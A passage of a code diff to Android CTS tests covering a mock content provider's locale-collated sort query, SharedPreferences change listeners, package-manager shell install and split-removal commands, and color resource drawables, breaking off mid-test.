--- a/tests/tests/content/src/android/content/cts/MockContentProvider.java
+++ b/tests/tests/content/src/android/content/cts/MockContentProvider.java
@@ -22,6 +22,7 @@
 import android.annotation.Nullable;
 import android.content.ContentProvider;
 import android.content.ContentProvider.PipeDataWriter;
+import android.content.ContentResolver;
 import android.content.ContentUris;
 import android.content.ContentValues;
 import android.content.Context;
@@ -253,6 +254,33 @@
     }
 
     @Override
+    public @Nullable Cursor query(@NonNull Uri uri, @Nullable String[] projection,
+            @Nullable Bundle queryArgs, @Nullable CancellationSignal cancellationSignal) {
+        if (queryArgs != null && queryArgs.containsKey(ContentResolver.QUERY_ARG_SORT_LOCALE)) {
+            final SQLiteDatabase db = mOpenHelper.getReadableDatabase();
+            final String locale = queryArgs.getString(ContentResolver.QUERY_ARG_SORT_LOCALE);
+            final String safeLocale = locale.replaceAll("[^a-zA-Z]", "");
+            try (Cursor c = db.rawQuery("SELECT icu_load_collation(?, ?);",
+                    new String[] { locale, safeLocale }, cancellationSignal)) {
+                while (c.moveToNext()) {
+                }
+            }
+
+            final SQLiteQueryBuilder qb = new SQLiteQueryBuilder();
+            qb.setTables("TestTable1");
+            qb.setProjectionMap(CTSDBTABLE1_LIST_PROJECTION_MAP);
+
+            final String sortOrder = TextUtils.join(", ",
+                    queryArgs.getStringArray(ContentResolver.QUERY_ARG_SORT_COLUMNS));
+            return qb.query(db, projection, null, null, null, null,
+                    sortOrder + " COLLATE " + safeLocale,
+                    null, cancellationSignal);
+        } else {
+            return super.query(uri, projection, queryArgs, cancellationSignal);
+        }
+    }
+
+    @Override
     public Cursor query(Uri uri, String[] projection, String selection,
             String[] selectionArgs, String sortOrder) {
         return query(uri, projection, selection, selectionArgs, sortOrder, null);
diff --git a/tests/tests/content/src/android/content/cts/SharedPreferencesTest.java b/tests/tests/content/src/android/content/cts/SharedPreferencesTest.java
index 24b56c9..67ec257 100644
--- a/tests/tests/content/src/android/content/cts/SharedPreferencesTest.java
+++ b/tests/tests/content/src/android/content/cts/SharedPreferencesTest.java
@@ -47,8 +47,6 @@
 
     private File mPrefsFile;
 
-    private static volatile CountDownLatch sSharedPrefsListenerLatch;
-
     @Override
     protected void setUp() throws Exception {
         super.setUp();
@@ -356,35 +354,88 @@
 
     public void testSharedPrefsChangeListenerIsCalledOnCommit() throws InterruptedException {
         // Setup on change listener
+        final CountDownLatch latch = new CountDownLatch(2);
+        final SharedPreferences.OnSharedPreferenceChangeListener listener =
+                (sharedPreferences, key) -> latch.countDown();
         final SharedPreferences prefs = getPrefs();
-        prefs.registerOnSharedPreferenceChangeListener(
-                (sharedPreferences, key) -> sSharedPrefsListenerLatch.countDown());
 
-        // Verify listener is called for #putString
-        sSharedPrefsListenerLatch = new CountDownLatch(1);
-        prefs.edit().putString("test-key", "test-value").commit();
-        assertTrue(sSharedPrefsListenerLatch.await(1, TimeUnit.SECONDS));
+        try {
+            prefs.registerOnSharedPreferenceChangeListener(listener);
+            prefs.edit().putString("test-key", "test-value").commit(); // latch--
+            prefs.edit().remove("test-key").commit(); // latch--
 
-        // Verify listener is called for #remove
-        sSharedPrefsListenerLatch = new CountDownLatch(1);
-        prefs.edit().remove("test-key").commit();
-        assertTrue(sSharedPrefsListenerLatch.await(1, TimeUnit.SECONDS));
+            assertTrue("OnSharedPreferenceChangeListener was not fired on #commit",
+                    latch.await(10, TimeUnit.SECONDS));
+        } finally {
+            prefs.unregisterOnSharedPreferenceChangeListener(listener);
+        }
     }
 
     public void testSharedPrefsChangeListenerIsCalledOnApply() throws InterruptedException {
         // Setup on change listener
+        final CountDownLatch latch = new CountDownLatch(2);
+        final SharedPreferences.OnSharedPreferenceChangeListener listener =
+                (sharedPreferences, key) -> latch.countDown();
         final SharedPreferences prefs = getPrefs();
-        prefs.registerOnSharedPreferenceChangeListener(
-                (sharedPreferences, key) -> sSharedPrefsListenerLatch.countDown());
 
-        // Verify listener is called for #putString
-        sSharedPrefsListenerLatch = new CountDownLatch(1);
-        prefs.edit().putString("test-key", "test-value").apply();
-        assertTrue(sSharedPrefsListenerLatch.await(1, TimeUnit.SECONDS));
+        try {
+            prefs.registerOnSharedPreferenceChangeListener(listener);
+            prefs.edit().putString("test-key", "test-value").apply(); // latch--
+            prefs.edit().remove("test-key").apply(); // latch--
 
-        // Verify listener is called for #remove
-        sSharedPrefsListenerLatch = new CountDownLatch(1);
-        prefs.edit().remove("test-key").apply();
-        assertTrue(sSharedPrefsListenerLatch.await(1, TimeUnit.SECONDS));
+            assertTrue("OnSharedPreferenceChangeListener was not fired on #apply",
+                    latch.await(10, TimeUnit.SECONDS));
+        } finally {
+            prefs.unregisterOnSharedPreferenceChangeListener(listener);
+        }
+    }
+
+    public void testSharedPrefsChangeListenerIsCalledForClearOnCommit()
+            throws InterruptedException {
+        // Setup on change listener
+        final CountDownLatch latch = new CountDownLatch(1);
+        final SharedPreferences.OnSharedPreferenceChangeListener listener =
+                (sharedPreferences, key) -> {
+                    if (key == null) {
+                        latch.countDown();
+                    }
+                };
+        final SharedPreferences prefs = getPrefs();
+
+        try {
+            prefs.registerOnSharedPreferenceChangeListener(listener);
+            prefs.edit().putString("test-key", "test-value").commit();
+            assertEquals("test-value", prefs.getString("test-key", null));
+            prefs.edit().clear().commit(); // latch--
+
+            assertTrue("OnSharedPreferenceChangeListener was not fired for clear() on #commit",
+                    latch.await(10, TimeUnit.SECONDS));
+        } finally {
+            prefs.unregisterOnSharedPreferenceChangeListener(listener);
+        }
+    }
+
+    public void testSharedPrefsChangeListenerIsCalledForClearOnApply() throws InterruptedException {
+        // Setup on change listener
+        final CountDownLatch latch = new CountDownLatch(1);
+        final SharedPreferences.OnSharedPreferenceChangeListener listener =
+                (sharedPreferences, key) -> {
+                    if (key == null) {
+                        latch.countDown();
+                    }
+                };
+        final SharedPreferences prefs = getPrefs();
+
+        try {
+            prefs.registerOnSharedPreferenceChangeListener(listener);
+            prefs.edit().putString("test-key", "test-value").commit();
+            assertEquals("test-value", prefs.getString("test-key", null));
+            prefs.edit().clear().apply(); // latch--
+
+            assertTrue("OnSharedPreferenceChangeListener was not fired for clear() on #apply",
+                    latch.await(10, TimeUnit.SECONDS));
+        } finally {
+            prefs.unregisterOnSharedPreferenceChangeListener(listener);
+        }
     }
 }
diff --git a/tests/tests/content/src/android/content/cts/SyncStorageEngineTest.java b/tests/tests/content/src/android/content/cts/SyncStorageEngineTest.java
index 457c1b6..47bc102 100644
--- a/tests/tests/content/src/android/content/cts/SyncStorageEngineTest.java
+++ b/tests/tests/content/src/android/content/cts/SyncStorageEngineTest.java
@@ -17,30 +17,16 @@
 package android.content.cts;
 
 import android.accounts.Account;
-import android.content.ComponentName;
-import android.content.ContentResolver;
-import android.content.Context;
-import android.content.ContextWrapper;
-import android.content.Intent;
-import android.content.PeriodicSync;
-import android.content.res.Resources;
 import android.content.SyncStatusInfo;
-import android.os.Bundle;
 import android.os.Looper;
 import android.platform.test.annotations.AppModeFull;
 import android.test.AndroidTestCase;
-import android.test.RenamingDelegatingContext;
-import android.test.mock.MockContentResolver;
-import android.test.mock.MockContext;
-import android.test.suitebuilder.annotation.LargeTest;
-import android.test.suitebuilder.annotation.MediumTest;
-import android.test.suitebuilder.annotation.SmallTest;
+import android.util.AtomicFile;
+
 import com.android.server.content.SyncStorageEngine;
-import com.android.internal.os.AtomicFile;
 
 import java.io.File;
 import java.io.FileOutputStream;
-import java.util.List;
 
 @AppModeFull(reason = "Sync manager not supported")
 public class SyncStorageEngineTest extends AndroidTestCase {
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java
new file mode 100644
index 0000000..89db80c
--- /dev/null
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java
@@ -0,0 +1,434 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.pm.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.os.ParcelFileDescriptor;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.Arrays;
+import java.util.Optional;
+
+@RunWith(AndroidJUnit4.class)
+@AppModeFull // TODO(Instant) Figure out which APIs should work.
+public class PackageManagerShellCommandTest {
+
+    private static final String TEST_APP_PACKAGE = "com.example.helloworld";
+
+    private static final String TEST_APK_PATH = "/data/local/tmp/cts/content/";
+    private static final String TEST_HW5 = "HelloWorld5.apk";
+    private static final String TEST_HW5_SPLIT0 = "HelloWorld5_hdpi-v4.apk";
+    private static final String TEST_HW5_SPLIT1 = "HelloWorld5_mdpi-v4.apk";
+    private static final String TEST_HW5_SPLIT2 = "HelloWorld5_xhdpi-v4.apk";
+    private static final String TEST_HW5_SPLIT3 = "HelloWorld5_xxhdpi-v4.apk";
+    private static final String TEST_HW5_SPLIT4 = "HelloWorld5_xxxhdpi-v4.apk";
+    private static final String TEST_HW7 = "HelloWorld7.apk";
+    private static final String TEST_HW7_SPLIT0 = "HelloWorld7_hdpi-v4.apk";
+    private static final String TEST_HW7_SPLIT1 = "HelloWorld7_mdpi-v4.apk";
+    private static final String TEST_HW7_SPLIT2 = "HelloWorld7_xhdpi-v4.apk";
+    private static final String TEST_HW7_SPLIT3 = "HelloWorld7_xxhdpi-v4.apk";
+    private static final String TEST_HW7_SPLIT4 = "HelloWorld7_xxxhdpi-v4.apk";
+
+    private static String executeShellCommand(String command) throws IOException {
+        final ParcelFileDescriptor stdout =
+                InstrumentationRegistry.getInstrumentation().getUiAutomation().executeShellCommand(
+                        command);
+        try (InputStream inputStream = new ParcelFileDescriptor.AutoCloseInputStream(stdout)) {
+            return readFullStream(inputStream);
+        }
+    }
+
+    private static String executeShellCommand(String command, File input)
+            throws IOException {
+        final ParcelFileDescriptor[] pfds =
+                InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                        .executeShellCommandRw(command);
+        ParcelFileDescriptor stdout = pfds[0];
+        ParcelFileDescriptor stdin = pfds[1];
+        try (FileInputStream inputStream = new FileInputStream(input);
+             FileOutputStream outputStream = new ParcelFileDescriptor.AutoCloseOutputStream(
+                     stdin)) {
+            writeFullStream(inputStream, outputStream, input.length());
+        }
+        try (InputStream inputStream = new ParcelFileDescriptor.AutoCloseInputStream(stdout)) {
+            return readFullStream(inputStream);
+        }
+    }
+
+    private static String readFullStream(InputStream inputStream) throws IOException {
+        ByteArrayOutputStream result = new ByteArrayOutputStream();
+        writeFullStream(inputStream, result, -1);
+        return result.toString("UTF-8");
+    }
+
+    private static void writeFullStream(InputStream inputStream, OutputStream outputStream,
+            long expected)
+            throws IOException {
+        byte[] buffer = new byte[1024];
+        long total = 0;
+        int length;
+        while ((length = inputStream.read(buffer)) != -1) {
+            outputStream.write(buffer, 0, length);
+            total += length;
+        }
+        if (expected > 0) {
+            assertEquals(expected, total);
+        }
+    }
+
+    @Before
+    public void checkNotInstalled() throws Exception {
+        assertFalse(isAppInstalled(TEST_APP_PACKAGE));
+    }
+
+    @After
+    public void uninstall() throws Exception {
+        uninstallPackage(TEST_APP_PACKAGE);
+        assertFalse(isAppInstalled(TEST_APP_PACKAGE));
+        assertEquals(null, getSplits(TEST_APP_PACKAGE));
+    }
+
+    @Test
+    public void testAppInstall() throws Exception {
+        installPackage(TEST_HW5);
+        assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+    }
+
+    @Test
+    public void testAppInstallStdIn() throws Exception {
+        installPackageStdIn(TEST_HW5);
+        assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+    }
+
+    @Test
+    public void testAppUpdate() throws Exception {
+        installPackage(TEST_HW5);
+        assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+        installPackage(TEST_HW7);
+        assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+    }
+
+    @Test
+    public void testAppUpdateStdIn() throws Exception {
+        installPackageStdIn(TEST_HW5);
+        assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+        installPackageStdIn(TEST_HW7);
+        assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+    }
+
+    @Test
+    public void testSplitsInstall() throws Exception {
+        installSplits(new String[]{TEST_HW5, TEST_HW5_SPLIT0, TEST_HW5_SPLIT1, TEST_HW5_SPLIT2,
+                TEST_HW5_SPLIT3, TEST_HW5_SPLIT4});
+        assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+        assertEquals("base, config.hdpi, config.mdpi, config.xhdpi, config.xxhdpi, config.xxxhdpi",
+                getSplits(TEST_APP_PACKAGE));
+    }
+
+    @Test
+    public void testSplitsInstallStdIn() throws Exception {
+        installSplitsStdIn(new String[]{TEST_HW5, TEST_HW5_SPLIT0, TEST_HW5_SPLIT1, TEST_HW5_SPLIT2,
+                TEST_HW5_SPLIT3, TEST_HW5_SPLIT4}, "");
+        assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+        assertEquals("base, config.hdpi, config.mdpi, config.xhdpi, config.xxhdpi, config.xxxhdpi",
+                getSplits(TEST_APP_PACKAGE));
+    }
+
+    @Test
+    public void testSplitsInstallDash() throws Exception {
+        installSplitsStdIn(new String[]{TEST_HW5, TEST_HW5_SPLIT0, TEST_HW5_SPLIT1, TEST_HW5_SPLIT2,
+                TEST_HW5_SPLIT3, TEST_HW5_SPLIT4}, "-");
+        assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+        assertEquals("base, config.hdpi, config.mdpi, config.xhdpi, config.xxhdpi, config.xxxhdpi",
+                getSplits(TEST_APP_PACKAGE));
+    }
+
+    @Test
+    public void testSplitsBatchInstall() throws Exception {
+        installSplitsBatch(new String[]{TEST_HW5, TEST_HW5_SPLIT0, TEST_HW5_SPLIT1, TEST_HW5_SPLIT2,
+                TEST_HW5_SPLIT3, TEST_HW5_SPLIT4});
+        assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+        assertEquals("base, config.hdpi, config.mdpi, config.xhdpi, config.xxhdpi, config.xxxhdpi",
+                getSplits(TEST_APP_PACKAGE));
+    }
+
+    @Test
+    public void testSplitsUpdate() throws Exception {
+        installSplits(new String[]{TEST_HW5, TEST_HW5_SPLIT0, TEST_HW5_SPLIT1, TEST_HW5_SPLIT2,
+                TEST_HW5_SPLIT3, TEST_HW5_SPLIT4});
+        assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+        assertEquals("base, config.hdpi, config.mdpi, config.xhdpi, config.xxhdpi, config.xxxhdpi",
+                getSplits(TEST_APP_PACKAGE));
+        installSplits(new String[]{TEST_HW7, TEST_HW7_SPLIT0, TEST_HW7_SPLIT1, TEST_HW7_SPLIT2,
+                TEST_HW7_SPLIT3, TEST_HW7_SPLIT4});
+        assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+        assertEquals("base, config.hdpi, config.mdpi, config.xhdpi, config.xxhdpi, config.xxxhdpi",
+                getSplits(TEST_APP_PACKAGE));
+    }
+
+    @Test
+    public void testSplitsUpdateStdIn() throws Exception {
+        installSplitsStdIn(new String[]{TEST_HW5, TEST_HW5_SPLIT0, TEST_HW5_SPLIT1, TEST_HW5_SPLIT2,
+                TEST_HW5_SPLIT3, TEST_HW5_SPLIT4}, "");
+        assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+        assertEquals("base, config.hdpi, config.mdpi, config.xhdpi, config.xxhdpi, config.xxxhdpi",
+                getSplits(TEST_APP_PACKAGE));
+        installSplitsStdIn(new String[]{TEST_HW7, TEST_HW7_SPLIT0, TEST_HW7_SPLIT1, TEST_HW7_SPLIT2,
+                TEST_HW7_SPLIT3, TEST_HW7_SPLIT4}, "");
+        assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+        assertEquals("base, config.hdpi, config.mdpi, config.xhdpi, config.xxhdpi, config.xxxhdpi",
+                getSplits(TEST_APP_PACKAGE));
+    }
+
+    @Test
+    public void testSplitsUpdateDash() throws Exception {
+        installSplitsStdIn(new String[]{TEST_HW5, TEST_HW5_SPLIT0, TEST_HW5_SPLIT1, TEST_HW5_SPLIT2,
+                TEST_HW5_SPLIT3, TEST_HW5_SPLIT4}, "-");
+        assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+        assertEquals("base, config.hdpi, config.mdpi, config.xhdpi, config.xxhdpi, config.xxxhdpi",
+                getSplits(TEST_APP_PACKAGE));
+        installSplitsStdIn(new String[]{TEST_HW7, TEST_HW7_SPLIT0, TEST_HW7_SPLIT1, TEST_HW7_SPLIT2,
+                TEST_HW7_SPLIT3, TEST_HW7_SPLIT4}, "-");
+        assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+        assertEquals("base, config.hdpi, config.mdpi, config.xhdpi, config.xxhdpi, config.xxxhdpi",
+                getSplits(TEST_APP_PACKAGE));
+    }
+
+    @Test
+    public void testSplitsBatchUpdate() throws Exception {
+        installSplitsBatch(new String[]{TEST_HW5, TEST_HW5_SPLIT0, TEST_HW5_SPLIT1, TEST_HW5_SPLIT2,
+                TEST_HW5_SPLIT3, TEST_HW5_SPLIT4});
+        assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+        assertEquals("base, config.hdpi, config.mdpi, config.xhdpi, config.xxhdpi, config.xxxhdpi",
+                getSplits(TEST_APP_PACKAGE));
+        installSplitsBatch(new String[]{TEST_HW7, TEST_HW7_SPLIT0, TEST_HW7_SPLIT1, TEST_HW7_SPLIT2,
+                TEST_HW7_SPLIT3, TEST_HW7_SPLIT4});
+        assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+        assertEquals("base, config.hdpi, config.mdpi, config.xhdpi, config.xxhdpi, config.xxxhdpi",
+                getSplits(TEST_APP_PACKAGE));
+    }
+
+    @Test
+    public void testSplitsUninstall() throws Exception {
+        installSplits(new String[]{TEST_HW5, TEST_HW5_SPLIT0, TEST_HW5_SPLIT1, TEST_HW5_SPLIT2,
+                TEST_HW5_SPLIT3, TEST_HW5_SPLIT4});
+        assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+        assertEquals("base, config.hdpi, config.mdpi, config.xhdpi, config.xxhdpi, config.xxxhdpi",
+                getSplits(TEST_APP_PACKAGE));
+        uninstallSplits(TEST_APP_PACKAGE, new String[]{"config.hdpi"});
+        assertEquals("base, config.mdpi, config.xhdpi, config.xxhdpi, config.xxxhdpi",
+                getSplits(TEST_APP_PACKAGE));
+        uninstallSplits(TEST_APP_PACKAGE, new String[]{"config.xxxhdpi", "config.xhdpi"});
+        assertEquals("base, config.mdpi, config.xxhdpi", getSplits(TEST_APP_PACKAGE));
+    }
+
+    @Test
+    public void testSplitsBatchUninstall() throws Exception {
+        installSplitsBatch(new String[]{TEST_HW5, TEST_HW5_SPLIT0, TEST_HW5_SPLIT1, TEST_HW5_SPLIT2,
+                TEST_HW5_SPLIT3, TEST_HW5_SPLIT4});
+        assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+        assertEquals("base, config.hdpi, config.mdpi, config.xhdpi, config.xxhdpi, config.xxxhdpi",
+                getSplits(TEST_APP_PACKAGE));
+        uninstallSplitsBatch(TEST_APP_PACKAGE, new String[]{"config.hdpi"});
+        assertEquals("base, config.mdpi, config.xhdpi, config.xxhdpi, config.xxxhdpi",
+                getSplits(TEST_APP_PACKAGE));
+        uninstallSplitsBatch(TEST_APP_PACKAGE, new String[]{"config.xxxhdpi", "config.xhdpi"});
+        assertEquals("base, config.mdpi, config.xxhdpi", getSplits(TEST_APP_PACKAGE));
+    }
+
+    @Test
+    public void testSplitsRemove() throws Exception {
+        installSplits(new String[]{TEST_HW7, TEST_HW7_SPLIT0, TEST_HW7_SPLIT1, TEST_HW7_SPLIT2,
+                TEST_HW7_SPLIT3, TEST_HW7_SPLIT4});
+        assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+        assertEquals("base, config.hdpi, config.mdpi, config.xhdpi, config.xxhdpi, config.xxxhdpi",
+                getSplits(TEST_APP_PACKAGE));
+
+        String sessionId = createUpdateSession(TEST_APP_PACKAGE);
+        removeSplits(sessionId, new String[]{"config.hdpi"});
+        commitSession(sessionId);
+        assertEquals("base, config.mdpi, config.xhdpi, config.xxhdpi, config.xxxhdpi",
+                getSplits(TEST_APP_PACKAGE));
+
+        sessionId = createUpdateSession(TEST_APP_PACKAGE);
+        removeSplits(sessionId, new String[]{"config.xxxhdpi", "config.xhdpi"});
+        commitSession(sessionId);
+        assertEquals("base, config.mdpi, config.xxhdpi", getSplits(TEST_APP_PACKAGE));
+    }
+
+    @Test
+    public void testSplitsBatchRemove() throws Exception {
+        installSplitsBatch(new String[]{TEST_HW7, TEST_HW7_SPLIT0, TEST_HW7_SPLIT1, TEST_HW7_SPLIT2,
+                TEST_HW7_SPLIT3, TEST_HW7_SPLIT4});
+        assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+        assertEquals("base, config.hdpi, config.mdpi, config.xhdpi, config.xxhdpi, config.xxxhdpi",
+                getSplits(TEST_APP_PACKAGE));
+
+        String sessionId = createUpdateSession(TEST_APP_PACKAGE);
+        removeSplitsBatch(sessionId, new String[]{"config.hdpi"});
+        commitSession(sessionId);
+        assertEquals("base, config.mdpi, config.xhdpi, config.xxhdpi, config.xxxhdpi",
+                getSplits(TEST_APP_PACKAGE));
+
+        sessionId = createUpdateSession(TEST_APP_PACKAGE);
+        removeSplitsBatch(sessionId, new String[]{"config.xxxhdpi", "config.xhdpi"});
+        commitSession(sessionId);
+        assertEquals("base, config.mdpi, config.xxhdpi", getSplits(TEST_APP_PACKAGE));
+    }
+
+    private String createUpdateSession(String packageName) throws IOException {
+        return createSession("-p " + packageName);
+    }
+
+    private String createSession(String arg) throws IOException {
+        final String prefix = "Success: created install session [";
+        final String suffix = "]\n";
+        final String commandResult = executeShellCommand("pm install-create " + arg);
+        assertTrue(commandResult, commandResult.startsWith(prefix));
+        assertTrue(commandResult, commandResult.endsWith(suffix));
+        return commandResult.substring(prefix.length(), commandResult.length() - suffix.length());
+    }
+
+    private void addSplits(String sessionId, String[] splitNames) throws IOException {
+        for (String splitName : splitNames) {
+            File file = new File(splitName);
+            assertEquals("Success: streamed " + file.length() + " bytes\n",
+                    executeShellCommand("pm install-write " + sessionId + " " + file.getName() + " "
+                            + splitName));
+        }
+    }
+
+    private void addSplitsStdIn(String sessionId, String[] splitNames, String args)
+            throws IOException {
+        for (String splitName : splitNames) {
+            File file = new File(splitName);
+            assertEquals("Success: streamed " + file.length() + " bytes\n",
+                    executeShellCommand(
+                            "pm install-write -S " + file.length() + " " + sessionId + " "
+                                    + file.getName() + " " + args, file));
+        }
+    }
+
+    private void removeSplits(String sessionId, String[] splitNames) throws IOException {
+        for (String splitName : splitNames) {
+            assertEquals("Success\n",
+                    executeShellCommand("pm install-remove " + sessionId + " " + splitName));
+        }
+    }
+
+    private void removeSplitsBatch(String sessionId, String[] splitNames) throws IOException {
+        assertEquals("Success\n", executeShellCommand(
+                "pm install-remove " + sessionId + " " + String.join(" ", splitNames)));
+    }
+
+    private void commitSession(String sessionId) throws IOException {
+        assertEquals("Success\n", executeShellCommand("pm install-commit " + sessionId));
+    }
+
+    private boolean isAppInstalled(String packageName) throws IOException {
+        final String commandResult = executeShellCommand("pm list packages");
+        final int prefixLength = "package:".length();
+        return Arrays.stream(commandResult.split("\\r?\\n"))
+                .anyMatch(line -> line.substring(prefixLength).equals(packageName));
+    }
+
+    private String getSplits(String packageName) throws IOException {
+        final String commandResult = executeShellCommand("pm dump " + packageName);
+        final String prefix = "    splits=[";
+        final int prefixLength = prefix.length();
+        Optional<String> maybeSplits = Arrays.stream(commandResult.split("\\r?\\n"))
+                .filter(line -> line.startsWith(prefix)).findFirst();
+        if (!maybeSplits.isPresent()) {
+            return null;
+        }
+        String splits = maybeSplits.get();
+        return splits.substring(prefixLength, splits.length() - 1);
+    }
+
+    private static String createApkPath(String baseName) {
+        return TEST_APK_PATH + baseName;
+    }
+
+    private void installPackage(String baseName) throws IOException {
+        assertEquals("Success\n",
+                executeShellCommand("pm install -t -g " + createApkPath(baseName)));
+    }
+
+    private void installPackageStdIn(String baseName) throws IOException {
+        File file = new File(createApkPath(baseName));
+        assertEquals("Success\n",
+                executeShellCommand("pm install -t -g -S " + file.length(), file));
+    }
+
+    private void installSplits(String[] baseNames) throws IOException {
+        String[] splits = Arrays.stream(baseNames).map(
+                baseName -> createApkPath(baseName)).toArray(String[]::new);
+        String sessionId = createSession(TEST_APP_PACKAGE);
+        addSplits(sessionId, splits);
+        commitSession(sessionId);
+    }
+
+    private void installSplitsStdIn(String[] baseNames, String args) throws IOException {
+        String[] splits = Arrays.stream(baseNames).map(
+                baseName -> createApkPath(baseName)).toArray(String[]::new);
+        String sessionId = createSession(TEST_APP_PACKAGE);
+        addSplitsStdIn(sessionId, splits, args);
+        commitSession(sessionId);
+    }
+
+    private void installSplitsBatch(String[] baseNames) throws IOException {
+        String[] splits = Arrays.stream(baseNames).map(
+                baseName -> createApkPath(baseName)).toArray(String[]::new);
+        assertEquals("Success\n",
+                executeShellCommand("pm install -t -g " + String.join(" ", splits)));
+    }
+
+    private void uninstallPackage(String packageName) throws IOException {
+        assertEquals("Success\n", executeShellCommand("pm uninstall " + packageName));
+    }
+
+    private void uninstallSplits(String packageName, String[] splitNames) throws IOException {
+        for (String splitName : splitNames) {
+            assertEquals("Success\n",
+                    executeShellCommand("pm uninstall " + packageName + " " + splitName));
+        }
+    }
+
+    private void uninstallSplitsBatch(String packageName, String[] splitNames) throws IOException {
+        assertEquals("Success\n", executeShellCommand(
+                "pm uninstall " + packageName + " " + String.join(" ", splitNames)));
+    }
+}
+
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
index 2c4d0067..d0e24c6 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
@@ -871,7 +871,7 @@
             return;
         }
         PackageInfo packageInfo = mPackageManager.getPackageInfo(SHIM_APEX_PACKAGE_NAME,
-                PackageManager.MATCH_APEX);
+                PackageManager.MATCH_APEX | PackageManager.MATCH_FACTORY_ONLY);
         assertShimApexInfoIsCorrect(packageInfo);
     }
 
@@ -924,7 +924,7 @@
             return;
         }
         List<PackageInfo> installedPackages = mPackageManager.getInstalledPackages(
-                PackageManager.MATCH_APEX);
+                PackageManager.MATCH_APEX | PackageManager.MATCH_FACTORY_ONLY);
         List<PackageInfo> shimApex = installedPackages.stream().filter(
                 packageInfo -> packageInfo.packageName.equals(SHIM_APEX_PACKAGE_NAME)).collect(
                 Collectors.toList());
diff --git a/tests/tests/content/src/android/content/res/cts/ResourcesTest.java b/tests/tests/content/src/android/content/res/cts/ResourcesTest.java
index 7d0a276..81116e5 100644
--- a/tests/tests/content/src/android/content/res/cts/ResourcesTest.java
+++ b/tests/tests/content/src/android/content/res/cts/ResourcesTest.java
@@ -35,7 +35,6 @@
 import android.graphics.drawable.Drawable;
 import android.os.Bundle;
 import android.os.LocaleList;
-import android.platform.test.annotations.AppModeFull;
 import android.test.AndroidTestCase;
 import android.util.AttributeSet;
 import android.util.DisplayMetrics;
@@ -46,8 +45,6 @@
 import android.view.View;
 import android.view.WindowManager;
 
-import androidx.test.InstrumentationRegistry;
-
 import org.xmlpull.v1.XmlPullParser;
 import org.xmlpull.v1.XmlPullParserException;
 
@@ -338,6 +335,60 @@
         assertNull(mResources.getDrawable(R.drawable.fake_image_will_not_decode));
     }
 
+    public void testGetDrawable_ColorResource() {
+        final Drawable drawable = mResources.getDrawable(R.color.testcolor1, null);
+        assertTrue(drawable instanceof ColorDrawable);
+        assertEquals(
+                mResources.getColor(R.color.testcolor1, null),
+                ((ColorDrawable) drawable).getColor()
+        );
+    }
+
+    public void testGetDrawable_ColorStateListResource() {
+        final Drawable drawable = mResources.getDrawable(R.color.testcolor, null);
+        assertTrue(drawable instanceof ColorStateListDrawable);
+
+        final ColorStateList colorStateList = mResources.getColorStateList(
+                R.color.testcolor, null);
+        assertEquals(
+                colorStateList.getDefaultColor(),
+                ((ColorStateListDrawable) drawable).getColorStateList().getDefaultColor());
+    }
+
+    public void testGetDrawable_ColorStateListConfigurations() {
+        final Configuration dayConfiguration = new Configuration(mResources.getConfiguration());
+        final Configuration nightConfiguration = new Configuration(mResources.getConfiguration());
+
+        dayConfiguration.uiMode = dayConfiguration.uiMode
+                & (~Configuration.UI_MODE_NIGHT_MASK)
+                | Configuration.UI_MODE_NIGHT_NO;
+
+        nightConfiguration.uiMode = nightConfiguration.uiMode
+                & (~Configuration.UI_MODE_NIGHT_MASK)
+                | Configuration.UI_MODE_NIGHT_YES;
+
+        final ColorStateListDrawable dayDrawable = (ColorStateListDrawable) getContext()
+                .createConfigurationContext(dayConfiguration)
+                .getResources()
+                .getDrawable(R.color.testcolor_daynight, null);
+
+        final ColorStateListDrawable nightDrawable = (ColorStateListDrawable) getContext()
+                .createConfigurationContext(nightConfiguration)
+                .getResources()
